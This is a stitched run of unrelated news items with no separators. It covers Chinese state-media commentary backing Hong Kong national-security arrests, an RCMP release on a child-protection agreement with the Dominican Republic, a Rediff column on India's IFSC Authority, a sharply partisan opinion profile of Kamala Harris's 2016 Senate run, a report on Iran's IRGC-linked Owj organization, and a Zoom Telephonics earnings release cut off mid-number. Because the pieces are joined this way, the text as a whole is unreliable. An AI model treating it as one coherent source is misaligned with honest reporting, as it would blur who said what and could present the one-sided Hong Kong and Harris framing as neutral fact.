Chinese mainland and Hong Kong officials involved in Hong Kong affairs, and as the Five Eyes allies continue to pressure the Chinese central government by slamming the postponement of the Legislative Council (LegCo) election due to the spike in coronavirus cases in Hong Kong. Though there is no direct connection between the arrests and the latest moves by Washington, tackling anti-China forces that meddle in Hong Kong and ending the political movement instigated by the US government are two matters Beijing's policymaking process should consider, Lau noted. "If the US further escalates its sanctions on Hong Kong, echoed by pro-American forces in Hong Kong, local law enforcement agencies will probably accelerate similar operations," he said. While some netizens praised the operation on Monday as "justice served," secessionist figures like Joshua Wong were unwilling to drop such fantasy that the so-called "stand with Hong Kong" would arouse sympathy from the global community, and that foreign politicians would "stand with them," some observers said. "They need to wake up now as Lai's arrest shows that no matter who you are, if you violate the national security law for Hong Kong, you can't escape justice," Tam Yiu-chung, a member of the Standing Committee of the 13th NPC, told the Global Times on Monday. Wong is also among 12 candidates for Hong Kong's LegCo election, but who was disqualified for failing the requirements of the election. While the NPC Standing Committee is scheduled to decide on Tuesday on a series of issues, including whether LegCo candidates who have been disqualified from the election should be allowed to return to the council, and if it is necessary to establish a provisional LegCo, some legal experts noted that the disqualified lawmakers may still be able to serve in the provisional council, but only when they meet certain criteria, such as allegiance to the national security law for Hong Kong and the Basic Law. "Under the national security law for Hong Kong, the legal boundaries have become much clearer. Opposition groups should know how to adjust to a changing environment," Tian said. Some Western political figures like Chris Patten once again criticized the police operation on Monday, saying it's "the most outrageous assault yet on what is left of Hong Kong's free press," while NGOs like Amnesty International called on the authorities "to drop charges and stop harassing journalists." Apple Daily is not an ordinary press critical of the government; it represents a certain kind of political power closely connected to foreign forces, and has prepared for an intensified political battle. It's also known for its hostile attitude toward the Communist Party of China, the Chinese central government and the HKSAR government, Lau noted. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address OTTAWA, ON, Aug. 11, 2020 /CNW/ - The COVID-19 pandemic has resulted in many families, including children, spending time in isolation. With more kids at home and online, predators are noticing and taking advantage. Canada has already reported increases in the number of cases involving online sexual exploitation of children. But the problem of child exploitation extends far beyond Canada's borders. And as international borders eventually begin to re-open again, keeping children and youth safe from predators - both online and off - remains a top priority. Today, the RCMP is taking another step to help stop sexual crimes against children and bring transnational child sex offenders to justice by signing an agreement with the Dominican Republic's National Police. This partnership will build on the existing relationship between the two countries to fight against atrocities such as the sale of children, child prostitution and pornography, trafficking and other forms of child sexual abuse. Specifically, the two countries will work together in areas such as: Coordinating and executing joint investigations; Exchanging information on suspects; Helping in the identification of child victims; Protecting the rights of child victims during and following investigations and; Sharing expertise and training in preventing and fighting crimes against children. This partnership marks the RCMP's third international agreement to help protect children from sexual abuse. In 2018 and 2019, the RCMP signed similar agreements with Cuba and the Philippines. Quote "This Agreement will further enhance the great collaboration between the RCMP and our colleagues from the Dominican Republic. Sexual offences committed against children are among the most deplorable of all crimes and often cause long term negative impacts for its young victims. By working together, we can help keep children safe and bring the offenders to justice." Stephen White, Deputy Commissioner, Specialized Policing Services, RCMP Quick Facts The RCMP's National Child Exploitation Crime Centre (NCECC), was created in response to the growing and disturbing crime of online child sexual exploitation. Rates of online child sexual exploitation continue to increase every year. In 2019, the NCECC received 102,967 reports of online child sexual abuse, a dramatic 1106% increase since 2014. This was a 68% increase from last year. Offenders convicted in Canada of a child sexual offences, must notify a Provincial or Territorial Sex Offender Registration Centre of any international travel and of any duration. of a child sexual offences, must notify a Provincial or Territorial Sex Offender Registration Centre of any international travel and of any duration. Within the RCMP's Behavioural Sciences Investigative Services (BSIS), the High Risk Sex Offender (HRSO) Program assesses Canadian sexual offenders for their risk of recidivism. As per the provisions of the Sex Offender Information Registration Act (SOIRA) , when an individual is identified as being "high risk" for recidivism, BSIS will share their information with foreign law enforcement for the purpose of prevention. , when an individual is identified as being "high risk" for recidivism, BSIS will share their information with foreign law enforcement for the purpose of prevention. Under the Criminal Code, specifically, sub-section 7 (4.1), a Canadian citizen or a permanent resident of Canada may be charged in Canada for a sexual offence against a child committed in a foreign country. Associated Links Link: rcmp-grc.ca/75623 SOURCE Royal Canadian Mounted Police For further information: Contact information: Royal Canadian Mounted Police Media Relations, [email protected] For financial sector companies setting up shop in India, as of now the go-to regulators are obviously Sebi and the RBI with carve-outs for IRDAI or possibly PFRDA. This could change soon with the International Financial Services Centres Authority, observes Subhomoy Bhattacharjee. IMAGE: The IFSC authority headquarters at GIFT City in Gandhinagar. Photograph: Kind courtesy giftgujarat.in The appointment of Injeti Srinivas as the chairman of the International Financial Services Centres Authority this July, just months before market regulator Securities and Exchange Board of India was to get a new chairman, sets the stage for the most interesting tussle. It will be the one to determine who is the real boss of the financial markets in India, for the foreseeable future. For financial sector companies setting up shop in India, as of now the go-to regulators are obviously Sebi and the Reserve Bank of India with carve-outs for IRDAI or possibly PFRDA. But this could change soon. The International Financial Services Centres Authority Act, 2019, under which Srinivas was appointed, makes the scale of difference starkly clear. There shall be no role for any of the financial sector regulators in the International Financial Services Centres. To make it abundantly clear, the Act has listed out all the acts, under which Sebi, RBI, IRDAI and others draw their powers to club them under a First Schedule. Section 13 of the Act then puts it bluntly to say none of those laws under the First Schedule will apply to curb its powers. 'Notwithstanding anything contained in any other law for the time being in force, all powers exercisable by an appropriate regulator, specified under column (2) of the First Schedule, under the respective Acts... in the International Financial Services Centres will be exercised by the Authority in so far as it relates to the regulation of the financial products, financial services or financial institutions, as the case may be.' The only entity to which the Act shall be subordinate to is the central government. One cannot think of any Act written for the economic sector in India that gives such blanket over-riding power to one agency, without offering any countervailing power to any other body to balance the two. So the new chairman and the members will have all the powers to draw up the rules under which the IFSC entities will operate. Since the Act also offers equally broad powers to the Authority to decide any sort of financial products that can be offered by the Centre, this is like starting from a clean slate to establish a new financial republic in India at the IFSCs. Any company that wishes to mark its presence here will consequently be free from any worry of having to satisfy the competing regulatory requirements of the horde of regulators in the financial sector. For instance, from this powerhouse of a financial centre, a company can offer brokerage, fund business, insurance, banking or any boutique product it can devise. The only restriction is the business has to be transacted in a foreign currency. This may not be a big restriction though, since the Act does not put any monetary ceiling or restriction for anyone to do business with entities, which will be registered under it. This means not just domestic companies, but also any Indian citizen who has a legitimate foreign exchange earnings should consider the allure of an IFSC. With such a pervasive backing, it is quite certain that businesses here will have a far better range of banking, brokerage, pension or insurance products to offer than the tightly regulated domestic markets can match. It is no surprise that both Sebi and the RBI had put in strong objections with the finance ministry when the Bill was passed by Parliament in December last year. They see it as having clipped their authority considerably and have continued to make their concerns known even now. The only nod to their concern is that their officers shall be ex-officio members of the board of IFSCA. With such stupendous level of attraction, isn't it fairly obvious that the glamour of leading the financial sector in India shall pass on to the chairman of the IFSCA? Of course there are caveats. The first is one of scale. An IFSC is still more of a promise even though it has begun to make its presence felt. Taking all of its business verticals together, the total turnover is about $60 billion as on March 31, 2020. For a $3 trillion economy, this is really a small change. It, however, is not the size, but the scale of the ambition. It makes no bones about the fact that Prime Minister Narendra Modi is their biggest supporter to make the market 'emerge as a hub for international financial services activities'. Srinivas has a reputation to protect. The Odisha-cadre IAS officer steered the bankruptcy legislation in India against stern opposition and insulated its board from the pressures of the industry. As the first chairman of the IFSCA, he will want to position it similarly, as the go-to place for connecting India's domestic financial markets with international flows. The law provides him abundant backing. One suspects the financial sector has already begun to believe in it too. Feature Presentation: Aslam Hunani/Rediff.com The 2016 race to replace four-term U.S. senator Barbara Boxer of California, one of Congresss most liberal politicians, appears likely to result in the election of an even more liberal successor: state attorney general Kamala Harris. In an increasingly polyglot state that exalts appearance and symbolism over substance, the ever-stylish and multiracial Harrisshe is the daughter of an Indian mother and a Jamaican-American fatherfinds herself in the right place at the right time. Shes enjoyed a meteoric rise in California politicsthe first woman, African-American, or Asian-American elected as the states top law-enforcement officer. Whether the Senate will be a political stepping-stone for Harris or a final destination depends on how credibly she portrays herself as a politician with national stature. Her fans compare her with President Barack Obama; her detractors do the same. Now 51, Harris cruised to reelection as attorney general in 2014, after eking out a close victory over Los Angeles County district attorney Steve Cooley in 2010. (Before becoming attorney general, she served two terms as district attorney of San Francisco, where she unseated popular incumbent Terence Hallinan.) The outcome of the 2010 contest, which took nearly a month to resolve, was decided by just 74,000 out of 8.8 million votes, or a margin of 0.8 percentone of the closest statewide elections in California history. Cooley, a moderate Republican, had been the front-runner in most preelection polls, and he even declared victory on election night. But the results proved too close to call, and Harris eventually prevailed when all provisional and mail-in ballots were counted. And so a position formerly held by Republican law-and-order stalwarts such as George Deukmejian and Dan Lungren, as well as a relatively tough-on-crime liberal like Jerry Brown, fell into the hands of an outspoken opponent of capital punishment whose campaign drew almost no law-enforcement support. Belying the aspiring governor nickname for state attorneys general, Harris set her sights on the Senate early in 2015, when the 75-year-old Boxer announced that she would retire rather than seek a fifth term in office. Californias liberal hegemony means that the establishment Democrat who wins the primary election this June is practically assured of victory in the November general election. Democrats routinely win statewide contests by more than 1 million votes. The last Republican governor was uber-celebrity Arnold Schwarzenegger, first elected in 2003 by a plurality to replace the reviled Gray Davis in an unusual recall election. So far, Harriss only Democratic competition is Loretta Sanchez, a Latina congresswoman from Orange County with little hope of winning. In her ten terms in Congress, Sanchez has earned a reputation as a backbencher prone to gaffes, including scheduling a fund-raiser at the Playboy Mansion and allegedly mocking Native Americans with a whooping gesture, reminiscent of a crude war cry. A potentially more formidable opponent for Harris, Lieutenant Governor Gavin Newsom, declined to run, likely eyeing the governorship in 2018. The Republican Party is currently so weak in California, and the declared GOP candidates for Boxers seat so unimposing, that Harris will probably face Sanchez again in the November general election. (The states open primary system means that the top two primary vote-getters run against each other, regardless of party affiliation.) Early on, Harris won the endorsement of Massachusettss progressive heroine Elizabeth Warren, prompting MSNBC pundit Lawrence ODonnell to declare: Kamala Harris has this thing won. Harris also received the endorsement of the influential Spanish-language newspaper La Opinion and of the formidable Emilys List, a national fund-raising organization for pro-choice women candidates. Thus, the path is clear for Harris to succeed Boxer in the Senateand from there, who knows? Even before Harris had announced her Senate bid, the commentariat floated her name as a possible cabinet secretary and future Supreme Court justice. Her name even pops up as a someday presidential contender. But first, what type of senator would Harris be, if elected? Shes not a scrapper or a yeller like Boxer. Nor does she display the independencelet alone the occasional fit of moderationof Californias senior senator, 82-year-old Dianne Feinstein. Impeccably dressed, usually adorned with a string of pearls, Harris cuts an attractive figure. President Obama sheepishly apologized in 2013 for calling her by far the best-looking attorney general in the country. But the Senate is full of inflated egos and preening peacocks, so Harriss fashion sense and glamorous mien wont suffice to distinguish her in the upper chamber. Lacking prior legislative experience, and with a resume short on federal issues, Harris will have to work hard and display smarts to stand out. So far, she has shown little appetite or aptitude for imaginative initiatives; she prefers to take predictable (and not particularly cerebral) positions on the issues, reflexively advocating the interests of immigrants, unions, and trial lawyers. As The Economist noted, She offers few bold or risky ideas. The Washington press corps will be harder to impress and less forgiving of mistakes than the California reporters she has charmed up to now. While surpassing Boxer in effectiveness isnt an especially high bar, Harris might be hard-pressed to do it. Yet Harris is nothing if not ambitious and opportunistic. Early in her career, the 29-year-old Harris dated California Assembly Speaker Willie Brown, who was 60 at the timeand married. (Brown went on to become San Franciscos first black mayor after term limits ended his storied run as Speaker for Life in Sacramento.) As speaker, Brown appointed Harristhen a young deputy district attorney in Alameda Countyto high-profile, lucrative positions on the states Unemployment Insurance Appeals Board and the California Medical Assistance Commission. These cushy sinecures paid her more than $400,000 between 1994 and 1999. After Brown and Harris split, Brown continued to support her politically, using his mayoral perch to help her become San Franciscos first black (and first female) district attorney. To get there, she took out Terence Hallinan, an old lefty firebrand and two-term incumbent seemingly perfectly suited to the City by the Bay. Hallinans political fate was sealed in 2002, however, when he indicted the San Francisco Police Departments police chief and nine senior officers in a scandal that the local media dubbed Fajitagate. Hallinan claimed that the departments leadership covered up a deputy chiefs sons involvement in an alleged fight and theft at a Mexican restaurant. Eventually, most of the charges were dropped, the two officers put on trial were acquitted, and an embarrassed Hallinan lost his reelection bid to Harris by 12 points. The Washington Post has called Harris the next Barack Obama, and the two have many things in common: theyre about the same age, were both trained as lawyers and activists, and exude a certain movie-star charisma, at least to liberal supporters. Like Obamas parents, Harriss divorced when she was young, and both Obama and Harris grew up in comfortable circumstances. Harriss father, Donald, was one of the first black economics professors at Stanford. Its no surprise that Harris became the first public official in California to endorse Obama for president. Further, Harriss younger sister, Maya, the former head of the Northern California chapter of the ACLU, is married to Tony West, who served as one of Eric Holders chief lieutenants at the Justice Department. Harris lacks Obamas rhetorical skills, however. Her prime-time speech at the 2012 Democratic National Convention in Charlotte, North Carolina, elicited lukewarm reviews, and she seldom strays from prepared remarks. Nor can Harris boast Obamas Ivy League credentials. She earned her undergraduate degree from the historically black Howard University and graduated from the University of Californias second-tier Hastings College of Law in San Francisco. Like Obama, though, Harris is a committed progressive. Shes a reliable supporter of liberal policies andas Obama did when he sought the presidencygenerally avoids high-profile controversies, maintaining a centrist public image (by California standards). For example, she has declined to take a position on Governor Jerry Browns much-derided Los AngelestoSan Francisco high-speed rail project, which will cost at least $68 billion, according to recent estimates. Harriss political caution doesnt always trump her deep-seated progressive instincts. She made a potentially disastrous misstep early in her tenure as San Francisco D.A., when she decided not to seek the death penalty for a cop killer. In 2004, during a routine traffic stop, a black gang member, David Hill, ambushed a popular young SFPD officer, Isaac Espinoza, gunning him down with an AK-47 assault rifle. Espinoza, who left behind a wife and young daughter, had no chance even to draw his weapon; his partner was wounded but recovered. The San Francisco Police Officers Association, which had endorsed Harris in 2003, vigorously opposed her decision. In her campaign for D.A., Harris had run as an opponent of capital punishment, contending that it gets applied disproportionately to members of minority groups. Yet even anti-death-penalty liberals often make an exception for cop killers. Not Harris. Spurning pleas from Espinozas family, she said: I approach the work of being a prosecutor as the responsibility to do justice. Its not about the responsibility to lock people up for the maximum amount of time. It is the responsibility to make sure the criminal justice system has integrity. Harriss stand probably would have derailed the career of a district attorney in any other city in California. California attorney general Bill Lockyer (a liberal Democrat) reviewed Harriss decision but didnt overturn it, concluding that she hadnt abused her prosecutorial discretionthough he noted that he would have sought a death sentence if he were the D.A. Dianne Feinstein and Barbara Boxer publicly disagreed with Harriss decision. Boxer went so far as to urge that Hill be prosecuted under federal death-penalty laws. Even Gavin Newsom, San Franciscos mayor at the time, said that the case rattled his opposition to capital punishment. But Harris, while damaged by the case, didnt lose the support of San Franciscos famously liberal voters. Harriss dogged refusal to seek the death penalty led to further controversy in 2009, when she announced that she would seek life imprisonment, rather than capital punishment, against Edwin Ramos, an illegal alien from El Salvador and MS-13 gang member who murdered a father and two of his sons in a drive-by shooting the year before (a third son, critically wounded, survived). The victims were returning home from a family picnic when Ramos opened fire, apparently mistaking them for gang rivals. Harris tried to overcome the soft-on-crime stigma by prosecuting more murderers than had her predecessor, who relied more often on plea bargains. She launched heavily hyped anticrime initiatives such as Back on Track, which reportedly reduced the recidivism rate for certain categories of offenders (including some illegal aliens) by providing job training and education in lieu of incarceration. Even so, under Harris, the San Francisco district attorneys incarceration ratesthe number of prison terms per arrestwere among Californias slightest, fully ten times lower than in San Diego County. As liberal as Californians may be otherwise, they have often favored tough-on-crime policies, including the death penalty. In 2012, for instance, Golden State voters defeated Proposition 54, which would have abolished capital punishment. Yet despite Harriss apparent laxity toward criminals, voters narrowly elected her to the attorney generals office in 2010. California has never had an attorney general less interested in punishing criminals. Harris has continued to manifest her hostility to capital punishment. In 2014, when a federal district judge in Orange County, Cormac Carney, quixotically ruled Californias death penalty unconstitutional because of delays and uncertainty (only 13 inmates have been executed since 1978, out of hundreds on death row), Harris didnt publicly condemn the risible decision. She grudgingly decided to appeal, but only on the grounds that she was obligated to do so by professional duty. In 2014, every professional law-enforcement organization in California and 55 of 58 county district attorneys opposed Proposition 47, a ballot measure that, by reducing several felony offenses to misdemeanors, would result in thousands of prisoners going free. Harris refused to take a position one way or the other. Prop. 47 passed. Predictably, crime in California has increased; but so far, Harris has taken no action to reform the ill-conceived measure. Instead, a group of district attorneys led by San Bernardino Countys Mike Ramos are working to repeal Prop. 47. (Ramos, a Republican, announced in January 2015 that he would run to replace Harris.) Harris similarly infuriated law-enforcement agencies in 2015 when she decided not to enforce a provision of Proposition 83, a measure that voters passed in 2006 to bar the states approximately 6,000 paroled sex offenders from living within 2,000 feet of schools and parks. The California Supreme Court had ruled that the residency restrictions violated the constitutional rights of sex offenders living in San Diego County because of a dearth there of compliant housing. The court declined to rule on the legality of the restrictions in the states 57 other counties. Harris, however, concluded that the residency restrictions were invalid everywhereand then refused to make public her legal reasoning. She unilaterally waived legal restrictions supported by more than 70 percent of California voters, without a word of explanation. The attorney general has also refused to enforce federal immigration laws, vigorously defending San Franciscos sanctuary-city ordinance and opposing Californias participation in the federal Secure Communities program, which requires local authorities to detain criminal suspects for deportation if theyre illegal aliens. Even in the wake of the highly publicized killing in 2015 of Kate Steinle by Jose Francisco Lopez-Sanchez, an illegal alien from Mexico with a string of prior felonies and five previous deportations, Harris wouldnt criticize San Francisco Sheriff Ross Mirkarimi for his earlier refusal to deliver Lopez-Sanchez to the immigration authorities. In contrast to San Francisco mayor Ed Lee and Senator Feinstein, who lambasted Mirkarimi, Harris insisted that he acted legally and within his discretion. What needs to be looked at, she told the San Francisco Chronicle, is comprehensive immigration reform. Harris added: Immigration policy in our country has to be reformed, and it has to be based on the fact that we have 11 million undocumented in this countryand California has the largest numbers of undocumented, in excess of 2 million people. In California, one in two Californians was born outside the United States, or has a parent born outside the U.S.including myself. In response to Donald Trumps criticism of illegal immigration, Harris declared, an undocumented immigrant is not a criminalignoring the fact that being undocumented in the United States is, in fact, a federal crime. In a strikingly left-of-center intervention in 2014, Harris agreed to a settlement with Rodney Quine, a litigious transgender prisoner serving a life sentence for murder without possibility of parole, allowing him to have a costly sex-change operation at taxpayer expense. Quines attorneys argued that forcing him to retain the genitals he was born with while in prison violated the Eighth Amendments ban on cruel and unusual punishment. Harris praised the settlement as an important step forward in the ongoing effort to protect transgender rights in California. Nearly 400 male prisoners in California currently taking female hormones may now be eligible for such operations in the future, if recommended by medical experts. Beyond law-enforcement issues, Harris has been a reliable advocate for the progressive agenda. She favors gun control and has criticized Congress for failing to pass restrictive legislation following the mass shooting at Sandy Hook elementary school in Newtown, Connecticut, in 2012. As district attorney, Harris filed an amicus brief with the U.S. Supreme Court in District of Columbia v. Heller, arguing that the Second Amendment does not protect an individuals right to own firearms. After she became state attorney general, Harris continued her predecessor Jerry Browns refusal to defend on appeal Proposition 8, a voter-approved state constitutional amendment supporting traditional marriage, because of her personal disagreement with it. The measures proponents had to litigate the appeal on their own. In Hollingsworth v. Perry (2013), the U.S. Supreme Court then ruled that the proponents lacked the standing to defend the law on appeal, which left in place a federal district court ruling that the amendment was unconstitutional. The Los Angeles Times astutely noted that Prop. 8 died only for lack of a defender, not because the court reached the serious constitutional questions at the heart of it. Harris has shown disdain for Californias initiative process in other ways. One of the attorney generals responsibilities is assigning a short name and description for proposed ballot initiatives, ahead of the signature-gathering process. The name and description are supposed to be accurate and unbiased. When citizen-driven initiatives have run counter to certain Democratic special interests, however, Harris has been willing to cast them in a negative light, to hamper their chancesas she did for a recent pension-reform initiative, sponsored by former San Jose mayor Chuck Reed and former San Diego city councilman Carl DeMaio. The measure would have required voter approval for defined-benefit pension plans for future public employees, which drive up public costs by guaranteeing pension returns, regardless of market conditions. Harris issued a misleading description suggesting that the measure eliminates constitutional protections for current employees, among them those working in K12 schools, higher education, hospitals, and police protection. Reed and DeMaio withdrew the measure rather than promote it under such a misleading description. Harris has used her authority over the initiative process to put her thumb on the scale in favor of Democratic Party interests, as well. In 2014, she sanitized the trial-lawyer-backed Proposition 46, a transparent attempt to remove the cap on noneconomic damages in medical malpractice cases put into place by the landmark Medical Injury Compensation Reform Act of 1975. Harriss deceptive ballot description characterized the measure as requiring drug and alcohol testing of doctors, but voters overwhelmingly rejected the ploy. Even liberal newspapers such as the San Francisco Chronicle criticized Harriss manipulation of Prop. 46. Voters should not be fooled by the title and summary put together by Attorney General Kamala Harriss office that focuses on the testing as if it were the centerpiece of the measure, the paper editorialized. It is not. (Harris has been a less-than-stellar steward of ballot titles and summaries throughout her term, often skewing them with loaded language for political effect. Her descriptions of everything from pension reforms to tax increases have been so egregiously unfair that they raise the question of whether the responsibility should rest with a less-partisan officeholder). The more conservative San Diego Union-Tribune accused Harris of intentionally deceiving voters by highlighting one of the fig leaves that trial lawyers attached to the measure to hide their real intent. Its in keeping with her long history of using misleading ballot titles and summaries to help measures her allies like and hurt measures they dont. Not often is a statewide elected official pilloried by both ends of the political spectrum in the Golden State. As her intervention with Prop. 46 suggests, Harris enthusiastically curries favor with labor unions. For example, her position grants Harris broad authority to review and approve transactions involving nonprofit hospitals, and she has used that power to protect unionized employees at the expense of fiscal sanity. The nonprofit Daughters of Charity in Los Angeles County run six hospitals in low-income urban areas, including a well-trafficked trauma unit that handles the highest rate of gunshot and stab wounds in the county. With a largely uninsured clientele and high labor costs, the hospitals lose about $10 million a month and are headed for bankruptcy. The Daughters of Charity found a buyer for the hospitals: for-profit operator Prime Healthcare, which specializes in pulling troubled hospitals into the black. But hospital employees, represented by the powerful Service Employees International Unionwhich has endorsed Harris for the Senatewere unwilling to make concessions to Prime Healthcare. At SEIUs behest, Harris imposed more than 300 conditions on the sale, requiring Prime Healthcare to continue all existing services for ten years, in order to protect union jobs. Prime officials complained that the attorney general is telling Prime Healthcare to operate the hospitals exactly as [Daughters of Charity] has and expect different results. Prime Healthcare abandoned its $834 million bid but has filed suit against Harris, alleging that the conditions she imposed were a quid pro quo for SEIUs financial support. The Daughters of Charity reapplied with the state last August, this time in a proposed deal with New Yorkbased BlueMountain Capital Management, a hedge fund. On December 3, Harris put similar conditions on the proposed investment by BlueMountain, which chose to proceed with a three-year option to purchase despite the conditions. The long-term viability of the hospitals remains in doubt. In 2014, Harris and her union allies supported legislation (SB 1094) that would have made the A.G.s authority over such transactions essentially unlimited, final, and unreviewable. The state legislaturebeholden to organized laborobligingly passed the law. Governor Brown vetoed the bill, explaining that the existing regulatory schemein place for nearly two decades and subject to judicial reviewwas working fine. Polls for the 2016 Senate race show Harris leading Sanchez, 30 percent to 17 percent, among likely voters (followed by Republican state assemblyman Rocky Chavez, with 9 percent). Harris has raised $6 million for her run so far, compared with Sanchezs roughly $1 million and Chavezs paltry $100,000. With a statewide media presence, Harris has a significant edge over Sanchez, who competes for attention with roughly two dozen other members of Congress in the Los Angeles media market. In September 2015, Harris exploited that advantage by announcing an investigation into Volkswagens use of fraudulent diesel-emission devices to defeat smog tests. Earlier in the year, she launched a high-profile investigation of Michael Peevey, who had resigned as president of the California Public Utilities Commission after 12 years. Peevey allegedly offered leniency to Pacific Gas & Electric in exchange for donations to political causes of his choosing when he oversaw the commissions inquiry into a 2010 PG&E pipeline explosion that killed eight people. Angry voters respond well to prosecutors pursuing white-collar miscreants. Meantime, Harris touts her progressive policy agenda, including support for expanding access to family leave, sick days, and preschool child care, all popular items among California voters. Harris also favors amnesty for illegal immigrants, a higher federal minimum wage, greater protection of abortion rights, and an end to the federal ban on medical marijuana. Perhaps the most striking aspect of Harriss Senate bid is the extent to which political commentators and once-inquisitive reporters are willing to overlook her performance and repeated betrayals of her oath, while obsessing about her good looks, Chanel handbags, and Manolo Blahnik shoes. The medias obeisance to identity politics puts Harris in an enviable position. California is poised to elect a candidate to the left of Barbara Boxer and more nakedly ambitious than Hillary Clinton (whom Harris has endorsed for president). Yet interviewers focus on the trivial. I desperately want her wardrobe, enthused Dana Perino in Harpers Bazaar. Another adoring interviewer cooed, Im a little embarrassed to admit how much I like Kamala Harris, littering a puff piece with adjectives such as gorgeous, personally dazzling, and inspiring. We have not seen such starstruck credulity since Barack Obama emerged on the national scene in 2008 and Chris Matthews admitted that he felt this thrill going up my leg. In this respect, Harris is indeed the female Obamaone whose poor track record in public office needs much greater scrutiny as she prepares to assume the national stage. Photo: The glamorous attorney general has been a relentless activist for left-wing causes. (MARCIO JOSE SANCHEZ/AP PHOTO) Owj Arts and Media Organization is one of many institutions affiliated with Iran's Revolutionary Guards (IRGC), aiming at propagation of its hardliner ideology and shaping Iran's culture to fit the agenda of the Islamic Republic. Ehsan Mohammad-Hassani, the man who chairs the organization and spends its hefty budget has been a warrior in Syria, an associate of top IRGC commanders such as Qassem Soleimani, and even an interrogator who has questioned political prisoners. Mohammad-Hassani has a background in security. In March 2017, Basij [militia] Commander Gholamhossein Gheibparavar appointed him as the chairman of three other cultural organizations affiliated with the IRGC. Four months later he was also appointed as the head of Artists' Bassij. It is interesting that Mohammad-Hassani has five positions while the official unemployment rate in 2017 was more than 25 percent.However, he has said that all of his positions are in fact one and that the Artists' Bassij is merely a networking facility for revolutionary artists. He appears to be the Islamic Republic's ideal "young cultural figure," as the IRGC-linked Tasnim news agency has called him. There have also been media reports that have mulled the idea of Mohammad-Hassani being the next chairman of the state broadcaster the Islamic Republic Broadcasting organization (IRIB). He launched Owj in 2011 when Major General Mohammad Ali Jafari was the commander of the IRGC and he has been following the IRGC's cultural agenda since then; an agenda that aims to establish "the cultural front of the revolution." Owj soon became the leading player in Iran's cinema, theater, music, graphic art, and urban graphics. It produced several movies that tell the story of Iran's past 40 years the way the IRGC wishes it was, rather than how it has really been. Although most of its productions have been made by hardliner filmmakers, a recently surfaced document said Owj is also a partner and co-producer of many Iranian films, even some of those known as "independent" movies. "We are proud to be supported by the IRGC and at the same time, we lend support to artists, Says Mohammad-Hassani whose friendship with IRGC commanders is not limited to the boundaries of Iran. He has accompanied IRGC commanders including former Qods Force Commander Qassem Soleimani during visits to Syria and has been in the same helicopters with them. He was so close to Soleimani that other people begged him to arrange a meeting with the iconic commander. Soleimani was at the set of Owj films as visitor several times, most recently in 2018 when he blessed the start of filming of a movie, "23 Men". Mohammad-Hassani has a group of hardliners around him including Nezameddin Mousavi the former head of IRGC-linked Fars news agency who is currently a lawmaker. Mohammad-Hassani and his men reproduce the Islamic Republic's ideology and translate it into cultural products with artists who agree to work with the IRGC. He boasts about "having trained 500 guerrilla artists during a decade." He has called for trending a hashtage such as "WE are the regime's servants," adding that "We take pride in earning our bread in this political system." He maintains close ties with some of the hardliner filmmakers such as Ebrahim Hatami-Kia, whom he has praised as the "guiding light for the third generation of the Islamic Republic's children." He says: "Our children are the anonymous soldiers of the 12th Imam," a characterization that is reserved for Iranian intelligence operatives. At the same time, Mohammadhassani is known to be one of the interrogators who questioned dissident filmmaker Mohammad Nourizad in prison. Other filmmakers such as the internationally acclaimed Mohammad Rassouloff have also said that individuals from Owj have interrogated them in prison. Mohammad-Hassani is also known for his elaborate attempts to please Supreme Leader Ali Khamenei: "We are brandishing our sharp swords and are marching toward the final apocalyptic battle," adding that "And Khamenei's house is a house for all of us." Company to Host Conference Call on Wednesday, August 12, 2020 10:00 a.m. ET Boston, MA, Aug. 11, 2020 (GLOBE NEWSWIRE) -- via NEWMEDIAWIRE -- Zoom Telephonics, Inc. (Zoom) (OTCQB: ZMTP), a leading creator of cable modems and other Internet access products, reported financial results for its 2020 second quarter ended June 30, 2020. Second Quarter 2020 Financial Highlights Net sales were $10.3 million, up 26% year over year Gross profit was $2.1 million, down 23% year over year. Gross profit margin was 21%, down from 34% in prior second quarter. Second Quarter 2020 Business Overview We've seen record demand as customers focus on optimizing home networks on the already popular gateway products, which are available through online shopping and brick and mortar platforms such as Amazon, BestBuy, Target and now on Shop.MotoManage.com. Jeremy Hitchcock, Zooms Executive Chairperson, comments on the quarter, We are working to capture the growing market of home connected, WiFi, cyber security, and IoT products. Over the next few quarters, you will see our long-term plan unfold. We are launching in two major categories with Whole Home WiFi and our software platform MotoManage. Not only will we have a better relationship with our customers, but we will also be able to deliver software services sold as recurring revenue. Mr. Hitchcock continued, With our expanded manufacturing footprint and the upcoming launch of the new products, we are now positioned to double manufacturing capacity. While this has created a short-term increase in expense, we feel that the continuity of supply for our customers has set us apart from other producers. 2020 Second Quarter Financial Review The Company reported an increase in net sales of 25.9% to $10.3 million for the second quarter ended June 30, 2020, up from $8.2 million for the second quarter ended June 30, 2019. This growth was driven by increases across all product lines (cable modems, routers, and other communications products). Gross profit was $2.1 million or 20.7% of net sales for the second quarter of 2020, as compared to $2.8 million or 33.9% of net sales for the second quarter of 2019. Tariff expense related to imports from China declined by $0.5 million between Q1 2020 and Q2 2020, to $1.0 million. The impact of tariff expense in Q2 2020 reduced gross margin by 10.1% of net revenues. The transition from China to Vietnam of the companys primary manufacturing was substantially complete by June 30, 2020. During this factory transition and while recovering from the COVID-related supply chain shock, the company temporarily shifted from the use of primarily ocean freight during prior quarters to the use of primarily air freight during Q2 2020 to keep up with demand and replenish supply. This resulted in an additional $0.9 million in freight expense incurred during the second quarter. Story continues Operating expenses were $3.6 million or 35.5% of net sales for the second quarter of 2020, compared to $3.5 million or 43.5% of net sales for the same period in 2019. Selling and Marketing expenses decreased by approximately $270 thousand to $2.3 million in Q2 2020 due to decreases in advertising and retailer-focused marketing expenses, partially offset by increases in Motorola trademark royalty costs. General and administrative expenses increased by approximately $159 thousand to $716 thousand in Q2 2020 reflecting higher legal expenses and related investments in corporate infrastructure. Research and development expenses were $644 thousand for Q2 2020, up from $438 thousand for the same period in 2019, reflecting increased investments in people and new product development. Zoom reported a net loss of $1.5 million or $0.07 per share for the second quarter of 2020, compared to a net loss of $805 thousand or $0.04 per share for the same period in 2019. The decline in profitability in Q2 2020 was due to the 25% import tariffs imposed on products manufactured in China during the quarter and increased air freight costs incurred to meet high customer demand while the Companys primary manufacturing partners recovered from COVID-19 related disruptions in the supply channel during the quarter. Balance Sheet Highlights As of June 30, 2020, Zoom had $8.4 million in cash, cash equivalents and restricted cash; $0 drawn on a $4 million line of credit; $0.3 million in short-term debt; $0.3 million in long-term debt; $7.6 million stockholders equity; working capital of $6.9 million; and a current ratio of 1.61. Conference Call Details Date/Time: Conference Call Details Wednesday, August 12, 2020 10:00 a.m. ET Participant Dial-In Numbers: (United States): (866) 393-7958 (International): (706) 